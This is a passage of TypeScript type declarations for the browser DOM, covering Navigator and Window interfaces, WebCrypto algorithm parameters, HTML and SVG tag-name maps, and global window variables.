{\\n    confirmSiteSpecificTrackingException(args: ConfirmSiteSpecificExceptionsInformation): boolean;\\n    confirmWebWideTrackingException(args: ExceptionInformation): boolean;\\n    removeSiteSpecificTrackingException(args: ExceptionInformation): void;\\n    removeWebWideTrackingException(args: ExceptionInformation): void;\\n    storeSiteSpecificTrackingException(args: StoreSiteSpecificExceptionsInformation): void;\\n    storeWebWideTrackingException(args: StoreExceptionsInformation): void;\\n}\\n\\ninterface NavigatorBeacon {\\n    sendBeacon(url: USVString, data?: BodyInit): boolean;\\n}\\n\\ninterface NavigatorConcurrentHardware {\\n    readonly hardwareConcurrency: number;\\n}\\n\\ninterface NavigatorContentUtils {\\n}\\n\\ninterface NavigatorGeolocation {\\n    readonly geolocation: Geolocation;\\n}\\n\\ninterface NavigatorID {\\n    readonly appCodeName: string;\\n    readonly appName: string;\\n    readonly appVersion: string;\\n    readonly platform: string;\\n    readonly product: string;\\n    readonly productSub: string;\\n    readonly userAgent: string;\\n    readonly vendor: string;\\n    readonly vendorSub: string;\\n}\\n\\ninterface NavigatorOnLine {\\n    readonly onLine: boolean;\\n}\\n\\ninterface NavigatorStorageUtils {\\n}\\n\\ninterface NavigatorUserMedia {\\n    readonly mediaDevices: MediaDevices;\\n    getUserMedia(constraints: MediaStreamConstraints, successCallback: NavigatorUserMediaSuccessCallback, errorCallback: NavigatorUserMediaErrorCallback): void;\\n}\\n\\ninterface NodeSelector {\\n    querySelector<K extends keyof ElementTagNameMap>(selectors: K): ElementTagNameMap[K] | null;\\n    querySelector(selectors: string): Element | null;\\n    querySelectorAll<K extends keyof ElementListTagNameMap>(selectors: K): ElementListTagNameMap[K];\\n    querySelectorAll(selectors: string): NodeListOf<Element>;\\n}\\n\\ninterface RandomSource {\\n    getRandomValues(array: ArrayBufferView): ArrayBufferView;\\n}\\n\\ninterface SVGAnimatedPoints {\\n    readonly animatedPoints: SVGPointList;\\n    readonly points: SVGPointList;\\n}\\n\\ninterface SVGFilterPrimitiveStandardAttributes {\\n    readonly height: SVGAnimatedLength;\\n    readonly result: SVGAnimatedString;\\n    readonly width: SVGAnimatedLength;\\n    readonly x: SVGAnimatedLength;\\n    readonly y: SVGAnimatedLength;\\n}\\n\\ninterface SVGFitToViewBox {\\n    readonly preserveAspectRatio: SVGAnimatedPreserveAspectRatio;\\n    readonly viewBox: SVGAnimatedRect;\\n}\\n\\ninterface SVGTests {\\n    readonly requiredExtensions: SVGStringList;\\n    readonly requiredFeatures: SVGStringList;\\n    readonly systemLanguage: SVGStringList;\\n    hasExtension(extension: string): boolean;\\n}\\n\\ninterface SVGURIReference {\\n    readonly href: SVGAnimatedString;\\n}\\n\\ninterface WindowBase64 {\\n    atob(encodedString: string): string;\\n    btoa(rawString: string): string;\\n}\\n\\ninterface WindowConsole {\\n    readonly console: Console;\\n}\\n\\ninterface WindowLocalStorage {\\n    readonly localStorage: Storage;\\n}\\n\\ninterface WindowSessionStorage {\\n    readonly sessionStorage: Storage;\\n}\\n\\ninterface WindowTimers extends Object, WindowTimersExtension {\\n    clearInterval(handle: number): void;\\n    clearTimeout(handle: number): void;\\n    setInterval(handler: (...args: any[]) => void, timeout: number): number;\\n    setInterval(handler: any, timeout?: any, ...args: any[]): number;\\n    setTimeout(handler: (...args: any[]) => void, timeout: number): number;\\n    setTimeout(handler: any, timeout?: any, ...args: any[]): number;\\n}\\n\\ninterface WindowTimersExtension {\\n    clearImmediate(handle: number): void;\\n    setImmediate(handler: (...args: any[]) => void): number;\\n    setImmediate(handler: any, ...args: any[]): number;\\n}\\n\\ninterface XMLHttpRequestEventTargetEventMap {\\n    \"abort\": Event;\\n    \"error\": ErrorEvent;\\n    \"load\": Event;\\n    \"loadend\": ProgressEvent;\\n    \"loadstart\": Event;\\n    \"progress\": ProgressEvent;\\n    \"timeout\": ProgressEvent;\\n}\\n\\ninterface XMLHttpRequestEventTarget {\\n    onabort: (this: XMLHttpRequestEventTarget, ev: Event) => any;\\n    onerror: (this: XMLHttpRequestEventTarget, ev: ErrorEvent) => any;\\n    onload: (this: XMLHttpRequestEventTarget, ev: Event) => any;\\n    onloadend: (this: XMLHttpRequestEventTarget, ev: ProgressEvent) => any;\\n    onloadstart: (this: XMLHttpRequestEventTarget, ev: Event) => any;\\n    onprogress: (this: XMLHttpRequestEventTarget, ev: ProgressEvent) => any;\\n    ontimeout: (this: XMLHttpRequestEventTarget, ev: ProgressEvent) => any;\\n    addEventListener<K extends keyof XMLHttpRequestEventTargetEventMap>(type: K, listener: (this: XMLHttpRequestEventTarget, ev: XMLHttpRequestEventTargetEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ninterface ErrorEventInit {\\n    message?: string;\\n    filename?: string;\\n    lineno?: number;\\n    conlno?: number;\\n    error?: any;\\n}\\n\\ninterface StorageEventInit extends EventInit {\\n    key?: string;\\n    oldValue?: string;\\n    newValue?: string;\\n    url: string;\\n    storageArea?: Storage;\\n}\\n\\ninterface Canvas2DContextAttributes {\\n    alpha?: boolean;\\n    willReadFrequently?: boolean;\\n    storage?: boolean;\\n    [attribute: string]: boolean | string | undefined;\\n}\\n\\ninterface ImageBitmapOptions {\\n    imageOrientation?: \"none\" | \"flipY\";\\n    premultiplyAlpha?: \"none\" | \"premultiply\" | \"default\";\\n    colorSpaceConversion?: \"none\" | \"default\";\\n    resizeWidth?: number;\\n    resizeHeight?: number;\\n    resizeQuality?: \"pixelated\" | \"low\" | \"medium\" | \"high\";\\n}\\n\\ninterface ImageBitmap {\\n    readonly width: number;\\n    readonly height: number;\\n    close(): void;\\n}\\n\\ninterface URLSearchParams {\\n    /**\\n     * Appends a specified key/value pair as a new search parameter.\\n     */\\n    append(name: string, value: string): void;\\n    /**\\n     * Deletes the given search parameter, and its associated value, from the list of all search parameters.\\n     */\\n    delete(name: string): void;\\n    /**\\n     * Returns the first value associated to the given search parameter.\\n     */\\n    get(name: string): string | null;\\n    /**\\n     * Returns all the values association with a given search parameter.\\n     */\\n    getAll(name: string): string[];\\n    /**\\n     * Returns a Boolean indicating if such a search parameter exists.\\n     */\\n    has(name: string): boolean;\\n    /**\\n     * Sets the value associated to a given search parameter to the given value. If there were several values, delete the others.\\n     */\\n    set(name: string, value: string): void;\\n}\\n\\ndeclare var URLSearchParams: {\\n    prototype: URLSearchParams;\\n    /**\\n     * Constructor returning a URLSearchParams object.\\n     */\\n    new (init?: string | URLSearchParams): URLSearchParams;\\n};\\n\\ninterface NodeListOf<TNode extends Node> extends NodeList {\\n    length: number;\\n    item(index: number): TNode;\\n    [index: number]: TNode;\\n}\\n\\ninterface HTMLCollectionOf<T extends Element> extends HTMLCollection {\\n    item(index: number): T;\\n    namedItem(name: string): T;\\n    [index: number]: T;\\n}\\n\\ninterface BlobPropertyBag {\\n    type?: string;\\n    endings?: string;\\n}\\n\\ninterface FilePropertyBag {\\n    type?: string;\\n    lastModified?: number;\\n}\\n\\ninterface EventListenerObject {\\n    handleEvent(evt: Event): void;\\n}\\n\\ninterface ProgressEventInit extends EventInit {\\n    lengthComputable?: boolean;\\n    loaded?: number;\\n    total?: number;\\n}\\n\\ninterface ScrollOptions {\\n    behavior?: ScrollBehavior;\\n}\\n\\ninterface ScrollToOptions extends ScrollOptions {\\n    left?: number;\\n    top?: number;\\n}\\n\\ninterface ScrollIntoViewOptions extends ScrollOptions {\\n    block?: ScrollLogicalPosition;\\n    inline?: ScrollLogicalPosition;\\n}\\n\\ninterface ClipboardEventInit extends EventInit {\\n    data?: string;\\n    dataType?: string;\\n}\\n\\ninterface IDBArrayKey extends Array<IDBValidKey> {\\n}\\n\\ninterface RsaKeyGenParams extends Algorithm {\\n    modulusLength: number;\\n    publicExponent: Uint8Array;\\n}\\n\\ninterface RsaHashedKeyGenParams extends RsaKeyGenParams {\\n    hash: AlgorithmIdentifier;\\n}\\n\\ninterface RsaKeyAlgorithm extends KeyAlgorithm {\\n    modulusLength: number;\\n    publicExponent: Uint8Array;\\n}\\n\\ninterface RsaHashedKeyAlgorithm extends RsaKeyAlgorithm {\\n    hash: AlgorithmIdentifier;\\n}\\n\\ninterface RsaHashedImportParams {\\n    hash: AlgorithmIdentifier;\\n}\\n\\ninterface RsaPssParams {\\n    saltLength: number;\\n}\\n\\ninterface RsaOaepParams extends Algorithm {\\n    label?: BufferSource;\\n}\\n\\ninterface EcdsaParams extends Algorithm {\\n    hash: AlgorithmIdentifier;\\n}\\n\\ninterface EcKeyGenParams extends Algorithm {\\n    namedCurve: string;\\n}\\n\\ninterface EcKeyAlgorithm extends KeyAlgorithm {\\n    typedCurve: string;\\n}\\n\\ninterface EcKeyImportParams {\\n    namedCurve: string;\\n}\\n\\ninterface EcdhKeyDeriveParams extends Algorithm {\\n    public: CryptoKey;\\n}\\n\\ninterface AesCtrParams extends Algorithm {\\n    counter: BufferSource;\\n    length: number;\\n}\\n\\ninterface AesKeyAlgorithm extends KeyAlgorithm {\\n    length: number;\\n}\\n\\ninterface AesKeyGenParams extends Algorithm {\\n    length: number;\\n}\\n\\ninterface AesDerivedKeyParams extends Algorithm {\\n    length: number;\\n}\\n\\ninterface AesCbcParams extends Algorithm {\\n    iv: BufferSource;\\n}\\n\\ninterface AesCmacParams extends Algorithm {\\n    length: number;\\n}\\n\\ninterface AesGcmParams extends Algorithm {\\n    iv: BufferSource;\\n    additionalData?: BufferSource;\\n    tagLength?: number;\\n}\\n\\ninterface AesCfbParams extends Algorithm {\\n    iv: BufferSource;\\n}\\n\\ninterface HmacImportParams extends Algorithm {\\n    hash?: AlgorithmIdentifier;\\n    length?: number;\\n}\\n\\ninterface HmacKeyAlgorithm extends KeyAlgorithm {\\n    hash: AlgorithmIdentifier;\\n    length: number;\\n}\\n\\ninterface HmacKeyGenParams extends Algorithm {\\n    hash: AlgorithmIdentifier;\\n    length?: number;\\n}\\n\\ninterface DhKeyGenParams extends Algorithm {\\n    prime: Uint8Array;\\n    generator: Uint8Array;\\n}\\n\\ninterface DhKeyAlgorithm extends KeyAlgorithm {\\n    prime: Uint8Array;\\n    generator: Uint8Array;\\n}\\n\\ninterface DhKeyDeriveParams extends Algorithm {\\n    public: CryptoKey;\\n}\\n\\ninterface DhImportKeyParams extends Algorithm {\\n    prime: Uint8Array;\\n    generator: Uint8Array;\\n}\\n\\ninterface ConcatParams extends Algorithm {\\n    hash?: AlgorithmIdentifier;\\n    algorithmId: Uint8Array;\\n    partyUInfo: Uint8Array;\\n    partyVInfo: Uint8Array;\\n    publicInfo?: Uint8Array;\\n    privateInfo?: Uint8Array;\\n}\\n\\ninterface HkdfCtrParams extends Algorithm {\\n    hash: AlgorithmIdentifier;\\n    label: BufferSource;\\n    context: BufferSource;\\n}\\n\\ninterface Pbkdf2Params extends Algorithm {\\n    salt: BufferSource;\\n    iterations: number;\\n    hash: AlgorithmIdentifier;\\n}\\n\\ninterface RsaOtherPrimesInfo {\\n    r: string;\\n    d: string;\\n    t: string;\\n}\\n\\ninterface JsonWebKey {\\n    kty: string;\\n    use?: string;\\n    key_ops?: string[];\\n    alg?: string;\\n    kid?: string;\\n    x5u?: string;\\n    x5c?: string;\\n    x5t?: string;\\n    ext?: boolean;\\n    crv?: string;\\n    x?: string;\\n    y?: string;\\n    d?: string;\\n    n?: string;\\n    e?: string;\\n    p?: string;\\n    q?: string;\\n    dp?: string;\\n    dq?: string;\\n    qi?: string;\\n    oth?: RsaOtherPrimesInfo[];\\n    k?: string;\\n}\\n\\ninterface ParentNode {\\n    readonly children: HTMLCollection;\\n    readonly firstElementChild: Element | null;\\n    readonly lastElementChild: Element | null;\\n    readonly childElementCount: number;\\n}\\n\\ninterface DocumentOrShadowRoot {\\n    readonly activeElement: Element | null;\\n    readonly stylesheets: StyleSheetList;\\n    getSelection(): Selection | null;\\n    elementFromPoint(x: number, y: number): Element | null;\\n    elementsFromPoint(x: number, y: number): Element[];\\n}\\n\\ninterface ShadowRoot extends DocumentOrShadowRoot, DocumentFragment {\\n    readonly host: Element;\\n    innerHTML: string;\\n}\\n\\ninterface ShadowRootInit {\\n    mode: \"open\" | \"closed\";\\n    delegatesFocus?: boolean;\\n}\\n\\ninterface HTMLSlotElement extends HTMLElement {\\n    name: string;\\n    assignedNodes(options?: AssignedNodesOptions): Node[];\\n}\\n\\ninterface AssignedNodesOptions {\\n    flatten?: boolean;\\n}\\n\\ninterface ElementDefinitionOptions {\\n    extends: string;\\n}\\n\\ninterface CustomElementRegistry {\\n    define(name: string, constructor: Function, options?: ElementDefinitionOptions): void;\\n    get(name: string): any;\\n    whenDefined(name: string): PromiseLike<void>;\\n}\\n\\ninterface PromiseRejectionEvent extends Event {\\n    readonly promise: PromiseLike<any>;\\n    readonly reason: any;\\n}\\n\\ninterface PromiseRejectionEventInit extends EventInit {\\n    promise: PromiseLike<any>;\\n    reason?: any;\\n}\\n\\ninterface EventListenerOptions {\\n    capture?: boolean;\\n}\\n\\ninterface AddEventListenerOptions extends EventListenerOptions {\\n    passive?: boolean;\\n    once?: boolean;\\n}\\n\\ninterface TouchEventInit extends EventModifierInit {\\n    touches?: Touch[];\\n    targetTouches?: Touch[];\\n    changedTouches?: Touch[];\\n}\\n\\ndeclare type EventListenerOrEventListenerObject = EventListener | EventListenerObject;\\n\\ninterface DecodeErrorCallback {\\n    (error: DOMException): void;\\n}\\ninterface DecodeSuccessCallback {\\n    (decodedData: AudioBuffer): void;\\n}\\ninterface ErrorEventHandler {\\n    (message: string, filename?: string, lineno?: number, colno?: number, error?: Error): void;\\n}\\ninterface ForEachCallback {\\n    (keyId: any, status: MediaKeyStatus): void;\\n}\\ninterface FrameRequestCallback {\\n    (time: number): void;\\n}\\ninterface FunctionStringCallback {\\n    (data: string): void;\\n}\\ninterface IntersectionObserverCallback {\\n    (entries: IntersectionObserverEntry[], observer: IntersectionObserver): void;\\n}\\ninterface MediaQueryListListener {\\n    (mql: MediaQueryList): void;\\n}\\ninterface MSExecAtPriorityFunctionCallback {\\n    (...args: any[]): any;\\n}\\ninterface MSLaunchUriCallback {\\n    (): void;\\n}\\ninterface MSUnsafeFunctionCallback {\\n    (): any;\\n}\\ninterface MutationCallback {\\n    (mutations: MutationRecord[], observer: MutationObserver): void;\\n}\\ninterface NavigatorUserMediaErrorCallback {\\n    (error: MediaStreamError): void;\\n}\\ninterface NavigatorUserMediaSuccessCallback {\\n    (stream: MediaStream): void;\\n}\\ninterface NotificationPermissionCallback {\\n    (permission: NotificationPermission): void;\\n}\\ninterface PositionCallback {\\n    (position: Position): void;\\n}\\ninterface PositionErrorCallback {\\n    (error: PositionError): void;\\n}\\ninterface RTCPeerConnectionErrorCallback {\\n    (error: DOMError): void;\\n}\\ninterface RTCSessionDescriptionCallback {\\n    (sdp: RTCSessionDescription): void;\\n}\\ninterface RTCStatsCallback {\\n    (report: RTCStatsReport): void;\\n}\\ninterface VoidFunction {\\n    (): void;\\n}\\ninterface HTMLElementTagNameMap {\\n    \"a\": HTMLAnchorElement;\\n    \"applet\": HTMLAppletElement;\\n    \"area\": HTMLAreaElement;\\n    \"audio\": HTMLAudioElement;\\n    \"base\": HTMLBaseElement;\\n    \"basefont\": HTMLBaseFontElement;\\n    \"blockquote\": HTMLQuoteElement;\\n    \"body\": HTMLBodyElement;\\n    \"br\": HTMLBRElement;\\n    \"button\": HTMLButtonElement;\\n    \"canvas\": HTMLCanvasElement;\\n    \"caption\": HTMLTableCaptionElement;\\n    \"col\": HTMLTableColElement;\\n    \"colgroup\": HTMLTableColElement;\\n    \"data\": HTMLDataElement;\\n    \"datalist\": HTMLDataListElement;\\n    \"del\": HTMLModElement;\\n    \"dir\": HTMLDirectoryElement;\\n    \"div\": HTMLDivElement;\\n    \"dl\": HTMLDListElement;\\n    \"embed\": HTMLEmbedElement;\\n    \"fieldset\": HTMLFieldSetElement;\\n    \"font\": HTMLFontElement;\\n    \"form\": HTMLFormElement;\\n    \"frame\": HTMLFrameElement;\\n    \"frameset\": HTMLFrameSetElement;\\n    \"h1\": HTMLHeadingElement;\\n    \"h2\": HTMLHeadingElement;\\n    \"h3\": HTMLHeadingElement;\\n    \"h4\": HTMLHeadingElement;\\n    \"h5\": HTMLHeadingElement;\\n    \"h6\": HTMLHeadingElement;\\n    \"head\": HTMLHeadElement;\\n    \"hr\": HTMLHRElement;\\n    \"html\": HTMLHtmlElement;\\n    \"iframe\": HTMLIFrameElement;\\n    \"img\": HTMLImageElement;\\n    \"input\": HTMLInputElement;\\n    \"ins\": HTMLModElement;\\n    \"isindex\": HTMLUnknownElement;\\n    \"label\": HTMLLabelElement;\\n    \"legend\": HTMLLegendElement;\\n    \"li\": HTMLLIElement;\\n    \"link\": HTMLLinkElement;\\n    \"listing\": HTMLPreElement;\\n    \"map\": HTMLMapElement;\\n    \"marquee\": HTMLMarqueeElement;\\n    \"menu\": HTMLMenuElement;\\n    \"meta\": HTMLMetaElement;\\n    \"meter\": HTMLMeterElement;\\n    \"nextid\": HTMLUnknownElement;\\n    \"object\": HTMLObjectElement;\\n    \"ol\": HTMLOListElement;\\n    \"optgroup\": HTMLOptGroupElement;\\n    \"option\": HTMLOptionElement;\\n    \"output\": HTMLOutputElement;\\n    \"p\": HTMLParagraphElement;\\n    \"param\": HTMLParamElement;\\n    \"picture\": HTMLPictureElement;\\n    \"pre\": HTMLPreElement;\\n    \"progress\": HTMLProgressElement;\\n    \"q\": HTMLQuoteElement;\\n    \"script\": HTMLScriptElement;\\n    \"select\": HTMLSelectElement;\\n    \"source\": HTMLSourceElement;\\n    \"span\": HTMLSpanElement;\\n    \"style\": HTMLStyleElement;\\n    \"table\": HTMLTableElement;\\n    \"tbody\": HTMLTableSectionElement;\\n    \"td\": HTMLTableDataCellElement;\\n    \"template\": HTMLTemplateElement;\\n    \"textarea\": HTMLTextAreaElement;\\n    \"tfoot\": HTMLTableSectionElement;\\n    \"th\": HTMLTableHeaderCellElement;\\n    \"thead\": HTMLTableSectionElement;\\n    \"time\": HTMLTimeElement;\\n    \"title\": HTMLTitleElement;\\n    \"tr\": HTMLTableRowElement;\\n    \"track\": HTMLTrackElement;\\n    \"ul\": HTMLUListElement;\\n    \"video\": HTMLVideoElement;\\n    \"x-ms-webview\": MSHTMLWebViewElement;\\n    \"xmp\": HTMLPreElement;\\n}\\n\\ninterface ElementTagNameMap extends HTMLElementTagNameMap {\\n    \"abbr\": HTMLElement;\\n    \"acronym\": HTMLElement;\\n    \"address\": HTMLElement;\\n    \"article\": HTMLElement;\\n    \"aside\": HTMLElement;\\n    \"b\": HTMLElement;\\n    \"bdo\": HTMLElement;\\n    \"big\": HTMLElement;\\n    \"center\": HTMLElement;\\n    \"circle\": SVGCircleElement;\\n    \"cite\": HTMLElement;\\n    \"clippath\": SVGClipPathElement;\\n    \"code\": HTMLElement;\\n    \"dd\": HTMLElement;\\n    \"defs\": SVGDefsElement;\\n    \"desc\": SVGDescElement;\\n    \"dfn\": HTMLElement;\\n    \"dt\": HTMLElement;\\n    \"ellipse\": SVGEllipseElement;\\n    \"em\": HTMLElement;\\n    \"feblend\": SVGFEBlendElement;\\n    \"fecolormatrix\": SVGFEColorMatrixElement;\\n    \"fecomponenttransfer\": SVGFEComponentTransferElement;\\n    \"fecomposite\": SVGFECompositeElement;\\n    \"feconvolvematrix\": SVGFEConvolveMatrixElement;\\n    \"fediffuselighting\": SVGFEDiffuseLightingElement;\\n    \"fedisplacementmap\": SVGFEDisplacementMapElement;\\n    \"fedistantlight\": SVGFEDistantLightElement;\\n    \"feflood\": SVGFEFloodElement;\\n    \"fefunca\": SVGFEFuncAElement;\\n    \"fefuncb\": SVGFEFuncBElement;\\n    \"fefuncg\": SVGFEFuncGElement;\\n    \"fefuncr\": SVGFEFuncRElement;\\n    \"fegaussianblur\": SVGFEGaussianBlurElement;\\n    \"feimage\": SVGFEImageElement;\\n    \"femerge\": SVGFEMergeElement;\\n    \"femergenode\": SVGFEMergeNodeElement;\\n    \"femorphology\": SVGFEMorphologyElement;\\n    \"feoffset\": SVGFEOffsetElement;\\n    \"fepointlight\": SVGFEPointLightElement;\\n    \"fespecularlighting\": SVGFESpecularLightingElement;\\n    \"fespotlight\": SVGFESpotLightElement;\\n    \"fetile\": SVGFETileElement;\\n    \"feturbulence\": SVGFETurbulenceElement;\\n    \"figcaption\": HTMLElement;\\n    \"figure\": HTMLElement;\\n    \"filter\": SVGFilterElement;\\n    \"footer\": HTMLElement;\\n    \"foreignobject\": SVGForeignObjectElement;\\n    \"g\": SVGGElement;\\n    \"header\": HTMLElement;\\n    \"hgroup\": HTMLElement;\\n    \"i\": HTMLElement;\\n    \"image\": SVGImageElement;\\n    \"kbd\": HTMLElement;\\n    \"keygen\": HTMLElement;\\n    \"line\": SVGLineElement;\\n    \"lineargradient\": SVGLinearGradientElement;\\n    \"mark\": HTMLElement;\\n    \"marker\": SVGMarkerElement;\\n    \"mask\": SVGMaskElement;\\n    \"metadata\": SVGMetadataElement;\\n    \"nav\": HTMLElement;\\n    \"nobr\": HTMLElement;\\n    \"noframes\": HTMLElement;\\n    \"noscript\": HTMLElement;\\n    \"path\": SVGPathElement;\\n    \"pattern\": SVGPatternElement;\\n    \"plaintext\": HTMLElement;\\n    \"polygon\": SVGPolygonElement;\\n    \"polyline\": SVGPolylineElement;\\n    \"radialgradient\": SVGRadialGradientElement;\\n    \"rect\": SVGRectElement;\\n    \"rt\": HTMLElement;\\n    \"ruby\": HTMLElement;\\n    \"s\": HTMLElement;\\n    \"samp\": HTMLElement;\\n    \"section\": HTMLElement;\\n    \"small\": HTMLElement;\\n    \"stop\": SVGStopElement;\\n    \"strike\": HTMLElement;\\n    \"strong\": HTMLElement;\\n    \"sub\": HTMLElement;\\n    \"sup\": HTMLElement;\\n    \"svg\": SVGSVGElement;\\n    \"switch\": SVGSwitchElement;\\n    \"symbol\": SVGSymbolElement;\\n    \"text\": SVGTextElement;\\n    \"textpath\": SVGTextPathElement;\\n    \"tspan\": SVGTSpanElement;\\n    \"tt\": HTMLElement;\\n    \"u\": HTMLElement;\\n    \"use\": SVGUseElement;\\n    \"var\": HTMLElement;\\n    \"view\": SVGViewElement;\\n    \"wbr\": HTMLElement;\\n}\\n\\ntype ElementListTagNameMap = {\\n    [key in keyof ElementTagNameMap]: NodeListOf<ElementTagNameMap[key]>\\n};\\n\\ndeclare var Audio: { new(src?: string): HTMLAudioElement; };\\ndeclare var Image: { new(width?: number, height?: number): HTMLImageElement; };\\ndeclare var Option: { new(text?: string, value?: string, defaultSelected?: boolean, selected?: boolean): HTMLOptionElement; };\\ndeclare var applicationCache: ApplicationCache;\\ndeclare var caches: CacheStorage;\\ndeclare var clientInformation: Navigator;\\ndeclare var closed: boolean;\\ndeclare var crypto: Crypto;\\ndeclare var defaultStatus: string;\\ndeclare var devicePixelRatio: number;\\ndeclare var document: Document;\\ndeclare var doNotTrack: string;\\ndeclare var event: Event | undefined;\\ndeclare var external: External;\\ndeclare var frameElement: Element;\\ndeclare var frames: Window;\\ndeclare var history: History;\\ndeclare var innerHeight: number;\\ndeclare var innerWidth: number;\\ndeclare var isSecureContext: boolean;\\ndeclare var length: number;\\ndeclare var location: Location;\\ndeclare var locationbar: BarProp;\\ndeclare var menubar: BarProp;\\ndeclare var msContentScript: ExtensionScriptApis;\\ndeclare var msCredentials: MSCredentials;\\ndeclare const name: never;\\ndeclare var navigator: Navigator;\\ndeclare var offscreenBuffering: string | boolean;\\ndeclare var onabort: (this: Window, ev: UIEvent) => any;\\ndeclare var onafterprint: (this: Window, ev: Event) => any;\\ndeclare var onbeforeprint: (this: Window, ev: Event) => any;\\ndeclare var onbeforeunload: (this: Window, ev: BeforeUnloadEvent) => any;\\ndeclare var onblur: (this: Window, ev: FocusEvent) => any;\\ndeclare var oncanplay: (this: Window, ev: Event) => any;\\ndeclare var oncanplaythrough: (this: Window, ev: Event) => any;\\ndeclare var onchange: (this: Window, ev: Event) => any;\\ndeclare var onclick: (this: Window, ev: MouseEvent) => any;\\ndeclare var oncompassneedscalibration: (this: Window, ev: Event) => any;\\ndeclare var oncontextmenu: (this: Window, ev: PointerEvent) => any;\\ndeclare var ondblclick: (this: Window, ev: MouseEvent) => any;\\ndeclare var ondevicelight: (this: Window, ev: DeviceLightEvent) => any;\\ndeclare var ondevicemotion: (this: Window, ev: DeviceMotionEvent) => any;\\ndeclare var ondeviceorientation: (this: Window, ev: DeviceOrientationEvent) => any;\\ndeclare var ondrag: (this: Window, ev: DragEvent) => any;\\ndeclare var ondragend: (this: Window, ev: DragEvent) => any;\\ndeclare var ondragenter: (this: Window, ev: DragEvent) => any;\\ndeclare var ondragleave: (this: Window, ev: DragEvent) => any;\\ndeclare var ondragover: (this: Window, ev: DragEvent) => any;\\ndeclare var ondragstart: (this: Window, ev: DragEvent) => any;\\ndeclare var ondrop: (this: Window, ev: DragEvent) => any;\\ndeclare var ondurationchange: (this: Window, ev: Event) => any;\\ndeclare var onemptied: (this: Window, ev: Event) => any;\\ndeclare var onended: (this: Window, ev: MediaStreamErrorEvent) => any;\\ndeclare var onerror: ErrorEventHandler;\\ndeclare var onfocus: (this: Window, ev: FocusEvent) => any;\\ndeclare var onhashchange: (this: Window, ev: HashChangeEvent) => any;\\ndeclare var oninput: (this: Window, ev: Event) => any;\\ndeclare var oninvalid: (this: Window, ev: Event) => any;\\ndeclare var onkeydown: (this: Window, ev: KeyboardEvent) => any;\\ndeclare var onkeypress: (this: Window, ev: KeyboardEvent) => any;\\ndeclare var onkeyup: (this: Window, ev: KeyboardEvent) => any;\\ndeclare var onload: (this: Window, ev: Event) => any;\\ndeclare var onloadeddata: (this: Window, ev: Event) => any;\\ndeclare var onloadedmetadata: (this: Window, ev: Event) => any;\\ndeclare var onloadstart: (this: Window, ev: Event) => any;\\ndeclare var onmessage: (this: Window, ev: MessageEvent) => any;\\ndeclare var onmousedown: (this: Window, ev: MouseEvent) => any;\\ndeclare var onmouseenter: (this: Window, ev: MouseEvent) => any;\\ndeclare var onmouseleave: (this: Window, ev: MouseEvent) => any;\\ndeclare var onmousemove: (this: Window, ev: MouseEvent) => any;\\ndeclare var onmouseout: (this: Window, ev: MouseEvent) => any;\\ndeclare var onmouseover: (this: Window, ev: MouseEvent) => any;\\ndeclare var onmouseup: (this: Window, ev: MouseEvent) => any;\\ndeclare var onmousewheel: (this: Window, ev: WheelEvent) => any;\\ndeclare var onmsgesturechange: (this: Window, ev: MSGestureEvent) => any;\\ndeclare var onmsgesturedoubletap: (this: Window, ev: MSGestureEvent) => any;\\ndeclare var onmsgestureend: (this: Window, ev: MSGestureEvent) => any;\\ndeclare var onmsgesturehold: (this: Window, ev: MSGestureEvent) => any;\\ndeclare var onmsgesturestart: (this: Window, ev: MSGestureEvent) => any;\\ndeclare var onmsgesturetap: (this: Window, ev: MSGestureEvent) => any;\\ndeclare var onmsinertiastart: (this: Window, ev: MSGestureEvent) => any;\\ndeclare var onmspointercancel: (this: Window, ev: MSPointerEvent) => any;\\ndeclare var onmspointerdown: (this: Window, ev: MSPointerEvent) => any;\\ndeclare var onmspointerenter: (this: Window, ev: MSPointerEvent) => any;\\ndeclare var onmspointerleave: (this: Window, ev: MSPointerEvent) => any;\\ndeclare var onmspointermove: (this: Window, ev: MSPointerEvent) => any;\\ndeclare var onmspointerout: (this: Window, ev: MSPointerEvent) => any;\\ndeclare var onmspointerover: (this: Window, ev: MSPointerEvent) => any;\\ndeclare var onmspointerup: (this: Window, ev: MSPointerEvent) => any;\\ndeclare var onoffline: (this: Window, ev: Event) => any;\\ndeclare var ononline: (this: Window, ev: Event) => any;\\ndeclare var onorientationchange: (this: Window, ev: Event) => any;\\ndeclare var onpagehide: (this: Window, ev: PageTransitionEvent) => any;\\ndeclare var onpageshow: (this: Window, ev: PageTransitionEvent) => any;\\ndeclare var onpause: (this: Window, ev: Event) => any;\\ndeclare var onplay: (this: Window, ev: Event) => any;\\ndeclare var onplaying: (this: Window, ev: Event) => any;\\ndeclare var onpopstate: (this: Window, ev: PopStateEvent) => any;\\ndeclare var onprogress: (this: Window, ev: ProgressEvent) => any;\\ndeclare var onratechange: (this: Window, ev: Event) => any;\\ndeclare var onreadystatechange: (this: Window, ev: ProgressEvent) => any;\\ndeclare var onreset: (this: Window, ev: Event) => any;\\ndeclare var onresize: (this: Window, ev: UIEvent) => any;\\ndeclare var onscroll: (this: Window, ev: UIEvent) => any;\\ndeclare var onseeked: (this: Window, ev: Event) => any;\\ndeclare var onseeking: (this: Window, ev: Event) => any;\\ndeclare var onselect: (this: Window, ev: UIEvent) => any;\\ndeclare var onstalled: (this: Window, ev: Event) => any;\\ndeclare var onstorage: (this: Window, ev: StorageEvent) => any;\\ndeclare var onsubmit: (this: Window, ev: Event) => any;\\ndeclare var onsuspend: (this: Window, ev: Event) => any;\\ndeclare var ontimeupdate: (this: Window, ev: Event) => any;\\ndeclare var ontouchcancel: (ev: TouchEvent) => any;\\ndeclare var ontouchend: (ev: TouchEvent) => any;\\ndeclare var ontouchmove: (ev: TouchEvent) => any;\\ndeclare var ontouchstart: (ev: TouchEvent) => any;\\ndeclare var onunload: (this: Window, ev: Event) => any;\\ndeclare var onvolumechange: (this: Window, ev: Event) => any;\\ndeclare var onwaiting: (this: Window, ev: Event) => any;\\ndeclare var opener: any;\\ndeclare var orientation: string | number;\\ndeclare var outerHeight: number;\\ndeclare var outerWidth: number;\\ndeclare var pageXOffset: number;\\ndeclare var pageYOffset: number;\\ndeclare var parent: Window;\\ndeclare var performance: Performance;\\ndeclare var personalbar: BarProp;\\ndeclare var screen: Screen;\\ndeclare var screenLeft: number;\\ndeclare var screenTop: number;\\ndeclare var screenX: number;\\ndeclare var screenY: number;\\ndeclare var scrollbars: BarProp;\\ndeclare var scrollX: 